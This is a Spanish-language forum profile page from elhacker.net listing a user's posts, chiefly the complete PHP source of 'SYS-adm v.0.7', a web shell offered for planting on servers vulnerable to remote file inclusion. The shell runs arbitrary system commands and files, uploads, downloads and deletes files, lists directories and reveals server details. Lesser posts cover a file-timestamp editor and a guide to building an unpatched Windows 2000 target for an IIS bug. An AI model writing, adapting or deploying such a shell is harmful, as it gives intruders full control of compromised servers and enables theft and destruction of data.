elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Abril negro / [Abril negro][src][PHP] SYS-adm v.0.7 - shell php en: 30 Abril 2010, 01:21 am
SYS-adm v.0.7 - shell php

despues de un time pensando si presentarme o no, voy a probar a ver que tal....
presento un pequeño script para poder llevar a cabo algunas acciones de forma remota en un server vulnerable tipo RFI....

-> Sobre el script
tiene distintas funcionalidades, como son:

[+] informacion sobre el server remoto (tipo de OS, estado del safemode, usuario....)
[+] un pequeño "proxy" interno (permite navegar de forma remota utilizando el script, se tiene que indicar el tipo de protocolo ya sea http o ftp)
[+] listado de directorios (pues eso, lista los directorios por donde nos podemos mover)
[+] navegacion por directorios, descarga y/o eliminacion de archivos (permite moverse por los distintos directorios que hay, como tambien la descarga o eliminacion de un archivo)
[+] subida de archivos
[+] creacion y/o eliminacion de un directorio (se muestra en una caja de texto la ruta actual donde nos encontramos)
[+] permite la ejecucion de comandos como tambien de ficheros

-> problemas

de los problemas que hay, el que mas problemas da es el tema del usuario y permisos que este posee.
en el momento de crear directorios, eliminar directorios/archivos, ejecutar comandos y archivos (aunque en algunos apartados se muestran avisos si hay activo el safemode y se alerta sobre el tema de los permisos) no lo permite o se puede ver que no hace la accion que se le dice.

otro problema esta en el momento de descargar los archivos, el nombre que da a dicho archivo suele ser la ruta completa hacia este y con el caracter [_] de separador (por ejemplo en un OS win$ hay un archivo a descargar en C:\asdf.exe lo muestra como "C__asdf.exe"), pero permite descargarlos (en alguna ocasion quita la extension del archivo, pero con ponersela cuando lo tenemos descargado funciona).

cuando se elimina un directorio se tiene que encontrar vacio, otro problema

tambien en el momento de subir un archivo, lo sube en el directorio donde se encuentra el script en lugar de hacerlo en el actual donde estamos O.o

-> source

Código
  1. <?php
  3. #modificamos el time final de ejecucion del script
  4. @set_time_limit(0); //indefinido
  5.  
  6. #si hemos seleccionado el boton para descarga....
  7. if(isset($_POST['down'])){
  8. 	if(isset($_POST['file'])){
  9. 		#descargamos el fichero que hemos seleccionado
  10. 		header( "Content-Type: application/octet-stream");  
  11. 		header( "Content-Length: ".filesize($_POST['file']));  
  12. 		header( "Content-Disposition: attachment; filename=".$_POST['file']."");  
  13. 		readfile($_POST['file']); 
  14. 	}
  15. }else if(isset($_POST['delete'])){
  16. 	if(isset($_POST['file'])){
  17. 		#borramos el fichero que hemos seleccionado
  18. 		unlink($_POST['file']);
  19. 	}
  20. }
  21.  
  22. #ejecutamos el archivo segun lo que haya introducido el usuario
  23. if(isset($_POST['exefile'])){
  24. 	if(isset($_POST['strg_file'])){
  25. 		exec($_POST['strg_file']);
  26. 	}
  27. }
  28.  
  29. #variable que se utilizara para ver en que OS nos encontramos
  30. $OS = strtolower(substr(PHP_OS, 0, 3));
  31.  
  32. /****************************************************************/
  33. #estilos css aplicados en la shell
  34. echo '<style type="text/css">';
  35. echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}';
  36. echo 'a{color: #FF0000;text-decoration: none;}';
  37. echo 'a:hover{color: #00FF00;text-decoration: underline overline;}';
  38. echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}';
  39. echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}';
  40. echo 'iframe{margin: 5px;}';
  41. echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}';
  42. echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  43. echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}';
  44. echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}';
  45. echo '#list td{vertical-align: top;}';
  46. echo '#list a{color: #77FF77;text-decoration: none;}';
  47. echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}';
  48. echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  49. echo '.time{position: right;}';
  50. echo '</style>';
  51. /****************************************************************/
  52.  
  53. #subimos ficheros en el servidor
  54. if(isset($_FILES['file'])){
  55. 		$dest = getcwd(); //directorio donde nos encontramos
  56. 		move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script
  57. }
  58. #recuperamos la url que ha introducido el usuario y lo añadimos en el proxy
  59. if(isset($_POST['url'])){
  60. 	$url = $_POST['url'];
  61. }
  62. #recuperamos el directorio actual que enviamos por parametro
  63. if(isset($_GET['directory'])){
  64. 		chdir($_GET['directory']);
  65. 		$dir = getcwd();
  66. }else{
  67. //obtenemos el directorio actual y mostramos la lista
  68. 	$dir = getcwd();
  69. }
  70. #funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial)
  71. function permissions($perms){
  72.  
  73. if (($perms & 0xC000) == 0xC000) {// Socket
  74.     $info = 's';
  75. } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
  76.     $info = 'l';
  77. } elseif (($perms & 0x8000) == 0x8000) {// Regular
  78.     $info = '-';
  79. } elseif (($perms & 0x6000) == 0x6000) {// Block special
  80.     $info = 'b';
  81. } elseif (($perms & 0x4000) == 0x4000) {// Directory
  82.     $info = 'd';
  83. } elseif (($perms & 0x2000) == 0x2000) {// Character special
  84.     $info = 'c';
  85. } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
  86.     $info = 'p';
  87. } else {// Unknown
  88.     $info = 'U';
  89. }
  90. // Owner
  91. $info .= (($perms & 0x0100) ? 'r' : '-');
  92. $info .= (($perms & 0x0080) ? 'w' : '-');
  93. $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  94. // Group
  95. $info .= (($perms & 0x0020) ? 'r' : '-');
  96. $info .= (($perms & 0x0010) ? 'w' : '-');
  97. $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  98. // World
  99. $info .= (($perms & 0x0004) ? 'r' : '-');
  100. $info .= (($perms & 0x0002) ? 'w' : '-');
  101. $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  102.  
  103. 	return $info;
  104.  
  105. }
  106. #creamos el nuevo directorio que el usuario a introducido o lo eliminamos
  107. if(isset($_POST['create'])){
  108. 	if(isset($_POST['direct'])){
  109. 		@mkdir($_POST['direct']);
  110. 	}
  111. }else if(isset($_POST['drop'])){
  112. 	if(isset($_POST['direct'])){
  113. 		@rmdir($_POST['direct']);
  114. 	}
  115. }
  116. /****************************************************************/
  117.  
  118. #estructura de la pagina web que mostraremos al usuario
  119. echo '<html>';
  120. echo '<head>';
  121. #titulo de la pagina
  122. echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>';
  123. echo '</head>';
  124.  
  125. /*********************************************************/
  126. /**************parte central de la pagina*****************/
  127. /*********************************************************/
  128. echo '<body>';
  129.  
  130. echo '<div id="header">';
  131. # header con el logo
  132. echo '8""""8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8""""8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>v.0.7&nbsp;&nbsp;[<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />';
  133. echo '8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eeeee&nbsp;eeeee&nbsp;eeeeeee&nbsp;<br />';
  134. echo '8eeeee&nbsp;8eeee8&nbsp;8eeeee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  135. echo '&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;eeee&nbsp;8eee8&nbsp;8e&nbsp;&nbsp;8&nbsp;8e&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  136. echo 'e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  137. echo '8eee88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;8eee88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88ee8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;';
  138. echo '';
  139. echo '</div>';
  140.  
  141. echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto
  142. echo '-> <b>Server Info</b> <-<br /><br />';
  143. if($OS == 'win'){ //si el OS es un sistema win$
  144. $chr = '\\';
  145. echo 'Server OS -> <b><u>'.php_uname().'</u></b> [<b><font color="#FF0000"><u>'.getenv('OS').'</u></font></b>]'; //OS del servidor remoto
  146. echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos
  147. echo 'User name -> <b><u>'.getenv('username').'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.getenv('userprofile').'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  148. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  149. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  150.  
  151. #comprobamos si el safemode esta activo o no en el sistema
  152. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  153. 	$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  154. }else{
  155. 	$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  156. }
  157. /***********************************************************************/
  158.  
  159. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  160. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  161. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  162.  
  163. }else{ //OS unix like - gnu/linux
  164. $chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas
  165.  
  166. $inf = posix_getpwuid(posix_getuid()); //obtenemos la informacion
  167. echo 'Server OS -> <b><u>'.php_uname().'</u></b><br />'; //OS del servidor remoto
  168. echo 'User name -> <b><u>'.$inf['name'].'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  169. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  170. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  171.  
  172. #lo mismo que anteriormente, comprobamos si esta on o off el safemode
  173. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  174. 	$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  175. }else{
  176. 	$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  177. }
  178. /**************************************************************************/
  179.  
  180. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  181. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  182. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  183. }
  184.  
  185. echo '</div>'; //fin del div que contiene la informacion
  186. /***************************************************************************/
  187.  
  188. /***************************************************************************/
  189. #apartado donde se utilizara el "proxy" de la shell
  190. echo '<div class="title">';
  191. echo '-> <b>SYS-adm Proxy</b> <-<br /><br />';
  192. echo '[NOTE -> add http:// or ftp:// to specify protocol]';
  193. echo '</div>';
  194. echo '<div id="proxy">';
  195.  
  196. #formulario para el envio de enlaces al "proxy" de la shell
  197. if(!isset($url)){
  198. echo '<form action="" method="post">';
  199. echo '<input type="text" name="url" size="100" />&nbsp;';
  200. echo '<input type="submit" value="Browse" />';
  201. echo '</form>';
  202. }elseif(isset($url)){
  203. echo '<form action="" method="post">';
  204. echo '<input type="text" name="url" size="100" value="'.$url.'" />&nbsp;';
  205. echo '<input type="submit" value="Browse" />';
  206. echo '</form>';
  207.  
  208. #mostramos la url que nos envia el usuario en el formulario
  209. echo '    <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">';
  210. 	#en caso de no tener operativo los iframes el navegador....
  211. echo '      <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>'; 
  212. echo '    </iframe>';
  213. }
  214. echo '</div>'; //fin del apartado de "proxy"
  215. /************************************************************************/
  216.  
  217. #apartado donde mostraremos el listado de directorio
  218. echo '<div>';
  219. echo '<div class="title">';
  220. echo '-> <b>Directory List</b> <-<br /><br />';
  221. echo '</div>';
  222. echo '<div id="list">';
  223. echo '<b>'.$dir.'</b>&nbsp;&nbsp;&nbsp;';
  224. echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual
  225. $files = array(); //array donde meteremos el listado
  226. echo '<br />';
  227. //tabla donde se muestran los distintos apartados, primeramente los titulos
  228. echo '<table width="100%">';
  229. echo '<tr>';
  230. echo '<td width="35%">';
  231. echo '<b>Name</b>';
  232. echo '</td>';
  233. echo '<td align="center" width="15%">';
  234. echo '<b>Size</b>';
  235. echo '</td>';
  236. echo '<td align="center" width="15%">';
  237. echo '<b>Last modified</b>';
  238. echo '</td>';
  239. echo '<td align="center" width="15%">';
  240. echo '<b>Permissions</b>';
  241. echo '</td>';
  242. echo '<td width="20%">';
  243. echo '<b>File actions</b>';
  244. echo '</td>';
  245. echo '</tr>';
  246.  
  247. #mostramos los distintos files/directories como la info sobre su "size", permisos....
  248. if(is_dir($dir)){ //comprobamos que el directorio actual es un directorio
  249. 	if($dd = opendir($dir)){
  250. 		while(($elem = readdir($dd)) !== false){
  251. 			if(is_dir($elem)){ //si es un directorio lo mostramos por pantalla
  252. 				echo '<tr><td class="files">';
  253. 				echo '<a href="'.basename($_SERVER['PHP_SELF']).'?directory='.getcwd().'/'.$elem.'"><font color="#7777FF">'.$elem.'</font></a>'; //link para movernos hacia el directorio en question
  254. 				echo '</td>';
  255. 				echo '<td align="right">';
  256. 				echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero)
  257. 				echo '</td>';
  258. 				echo '<td align="right">';
  259. 				echo date('Y/m/d H:i:s',filemtime($elem)); //ultima modificacion
  260. 				echo '</td>';
  261. 				echo '<td align="center">';
  262. 				echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir
  263. 				echo '</td>';
  264. 				echo '</tr>';
  265. 			}else{
  266. 				$files[] = $elem;
  267. 			}
  268. 		}
  269. 		for($x = 0;$x < count($files);$x++){ //mostramos los archivos
  270. 			echo '<tr><td>';
  271. 			echo '<font color="#77FF77">'.$files[$x].'</font>';
  272. 			echo '</td>';
  273. 			echo '<td align="right">';
  274. 			#mostramos el size del archivo, si es excesivo mostramos un aviso
  275. 			if(eregi('-',(filesize($files[$x])/1024))){
  276. 				echo '<font color="#BB8800"> filesize &gt; 4</font><font color="#FF0000"> GB</font>';
  277. 			}else{
  278. 				echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>';
  279. 			}
  280.  
  281. 			echo '</td>';
  282. 			echo '<td align="right">';
  283. 			echo date('Y/m/d H:i:s',filemtime($files[$x])); //fecha de modificacion
  284. 			echo '</td>';
  285. 			echo '<td align="center">';
  286. 			echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo
  287. 			echo '</td>';
  288. 			echo '<td>';
  289. 			echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">';
  290. 			echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto
  291. 			echo '<input type="submit" name="down" value="Download" />&nbsp;';
  292. 			echo '<input type="submit" name="delete" value="Remove" />';
  293. 			echo '</form>';
  294. 			echo '</td>';
  295. 			echo '</tr>';
  296. 		}
  297. 	}
  298. 	closedir($dd); //cerramos el directorio
  299. }
  300. echo '</table>'; //terminamos la tabla
  301. echo '</div>';
  302. echo '</div>';
  303. //final del apartado de listado de directorios
  304.  
  305. #apartado para la subida de archivos
  306. echo '<div id="info">';
  307. echo '-> <b>File manager</b> <-<br /><br />';
  308. echo '<table align="center" size="75%">';
  309. echo '<tr><td colspan="3" align="center">';
  310. //formulario para el envio de archivos
  311. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">';
  312. echo '<input type="file" name="file" />&nbsp;';
  313. echo '<input type="submit" name="submit" value="upload" />';
  314. echo '</form>';
  315.  
  316. echo '</td></tr>';
  317. //formulario para la creacion de directorios o su eliminacion
  318. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  319. echo '<tr>';
  320. echo '<td>';
  321. echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual
  322. echo '</td>';
  323. echo '<td>&nbsp;</td>';
  324. echo '<td>';
  325. echo '<input type="submit" name="create" value="Create Directory" />&nbsp;';
  326. echo '<input type="submit" name="drop" value="Delete Directory" />';
  327. echo '</td>';
  328. echo '</tr>';
  329. echo '<tr><td>&nbsp;</td></tr>';
  330. echo '</form>';
  331.  
  332. echo '</table>';
  333. echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions';
  334. echo '</div>';
  335. #final del apartado de subida de archivos modificacion de directorios
  336.  
  337. #apartado para la ejecucion de comandos o archivos
  338. echo '<div id="info">';
  339. echo '-> <b>Process Manager</b> <-';
  340. echo '<br /><br />';
  341.  
  342. #mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente
  343. if(isset($_POST['exe'])){
  344. 	if(isset($_POST['strg_com'])){
  345. 		echo system($_POST['strg_com']);
  346. 	}
  347. }
  348.  
  349. #permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode
  350. if($OS == 'win'){ //sistema win$
  351. 	if(eregi('off',$sfmod)){
  352. 		#mostramos los procesos en caso de estar inactivo
  353. 		echo '<table align="center">';
  354. 		echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  355. 		echo '<tr><td>';
  356. 		echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  357. 		echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando
  358. 		echo '</td></tr>';
  359.  
  360. 		echo '<br /><br />';
  361.  
  362. 		echo '<tr><td>';
  363. 		echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  364. 		echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo
  365. 		echo '</tr></td>';
  366. 		echo '</form>';
  367.  
  368. 		echo '</table>';
  369. 	}else{
  370. 		#mostramos una alerta en caso de estar activo
  371. 		echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  372. 		echo '<br />';
  373. 	}
  374. }else{ //gnu/linux - unix like, lo mismo que el apartado anterior
  375. 	if(eregi('off',$sfmod)){
  376. 		#mostramos los procesos en caso de estar inactivo
  377. 		echo '<table align="center">';
  378. 		echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  379. 		echo '<tr><td>';
  380. 		echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  381. 		echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos
  382. 		echo '</td></tr>';
  383.  
  384. 		echo '<br /><br />';
  385.  
  386. 		echo '<tr><td>';
  387. 		echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  388. 		echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos
  389. 		echo '</tr></td>';
  390. 		echo '</form>';
  391. 		echo '</table>';
  392. 		echo 'NOTE -> Alert with user permissions';
  393. 		echo '<br />';
  394. 	}else{
  395. 		#mostramos una alerta en caso de estar activo la proteccion
  396. 		echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  397. 		echo '<br />';
  398. 	}
  399. }
  400. echo '<br />';
  401. echo '</div>';
  402. #pie de pagina, donde mostramos la hora y demas
  403. echo '<div id="footer">';
  404. echo '-> <b>b10s_0v3rr1d3 '.chr(135).' SYS-adm v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>] </b><font color="#00FF00"> '.date('d/m/Y H:i:s').' </font><-';
  405. echo '</div>';
  406. echo '</body>';
  407. /*********************************************************/
  408. /********terminamos la parte central de la pagina*********/
  409. /*********************************************************/
  410.  
  411. echo '</html>';
  412. //final de la pagina/shell
  413. ?>
  414.  

en el codigo hay comentarios en los distintos apartados para que se pueda ver que se hace en cada uno de los apartados.
se han hecho pruebas y funciona en php5
en el siguiente enlace se puede descargar:

http://www.megaupload.com/?d=J95A6WF0

pequeña captura:



se van haciendo modificaciones para su mejora y demas, si hay algun comentario, mejoras y demas criticas comenten.
nos leemos :P
2  Programación / Programación Visual Basic / prueba de cifrado con operaciones logicas en: 27 Enero 2010, 01:50 am
pues eso, haciendo pruebas con estas funciones para un programa, termine un pequeño modulo haciendo varias operaciones con funciones logicas (not, xor, and....).
el codigo del modulo es:

Código
  1. ' esta funcion nos devuelve el valor en milisegundos desde la ultima vez que se encendio el sistema (hasta 49 dias)
  2. Private Declare Function GetTickCount Lib "kernel32.dll" () As Long
  3.  
  4. Public Function logicOp(ByVal text As String) As String
  5.      Dim temp As String
  6.      Dim op1 As Integer, op2 As Integer
  7.  
  8.      Randomize
  9.  
  10.      For x = 1 To Len(text)
  11.           op1 = Not (Asc(Mid(text, x, 1)))
  12.           op2 = (GetTickCount And Rnd())
  13.           temp = temp & Chr(Asc(Mid(text, x, 1)) Xor (CInt(Int((255 * Rnd()) + 1))) And (op2 Or op1 Xor Len(text)))
  14.      Next x
  15.  
  16.      logicOp = temp
  17. End Function

codigo de prueba:

Código
  1. Private Sub Form_Load()
  2.      MsgBox (logicOp("texto"))
  3. End Sub

un ejemplo:

[texto de prueba, que original xD] -> [Ý}[þO~ÆG#R_wGjÔî#WöÅ÷ïS[ßÉOsüÜ_G]

no es como el pgp, pero bueno xD
nos leemos :P
3  Programación / Programación Visual Basic / manipular las fechas de un archivo en: 16 Diciembre 2009, 01:49 am

muestro aqui una pequeña aplicacion que he hecho, para editar las fechas que posee un archivo (creacion, modificacion y ultimo acceso).
el uso es muy simple, seleccionamos un archivo y automaticamente nos muestra las fechas que posee actuales y abajo mismo podemos introducir las nuevas fechas.
una vez aplicamos los cambios se guardan las nuevas fechas en el archivo y se vuelven a recargar para mostrar los cambios.
aqui hay una captura del programa:



para descargar el programa aqui hay el link:

http://www.megaupload.com/?d=H3OCG0YT

el source del programa se puede descargar de este otro link:

http://www.megaupload.com/?d=WJO6771U

es compatible en win$ NT [4.0] SP 6a, win$ XP, win$ Vista y win$ 7.

nota -> para los dos ultimos OS (vista y 7) se tiene que ejecutar la primera vez como administrador (boton derecho sobre el archivo -> ejecutar como admin) y luego se puede ejecutar de forma normal, de lo contrario no deja y muestra errores con los componentes ocx (almenos eso me mostro en mi caso).
nos leemos :P
4  Seguridad Informática / Hacking / instalacion de un OS para entender el bug IIS en: 16 Diciembre 2009, 01:04 am

este manual hace ya un time que lo hice para los users que querian probar dicho bug (muchos por la lectura en su momento de las revistas hackxcrack) y que no han podido hacerlo, para poder practicarlo con tranquilidad y entender su funcionamiento.
el link de descarga es el siguiente:

http://www.megaupload.com/?d=DN9GHDVB

en el pdf mismo esta detallado los pasos a seguir para la instalacion y un enlace hacia una iso del win$ 2k sin SP (no hay ningun serial, eso corre a cargo de cada user) donde una vez esta todo hecho el bug esta 100% operativo.
una imagen de muestra:



espero que sea util, nos leemos :P
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines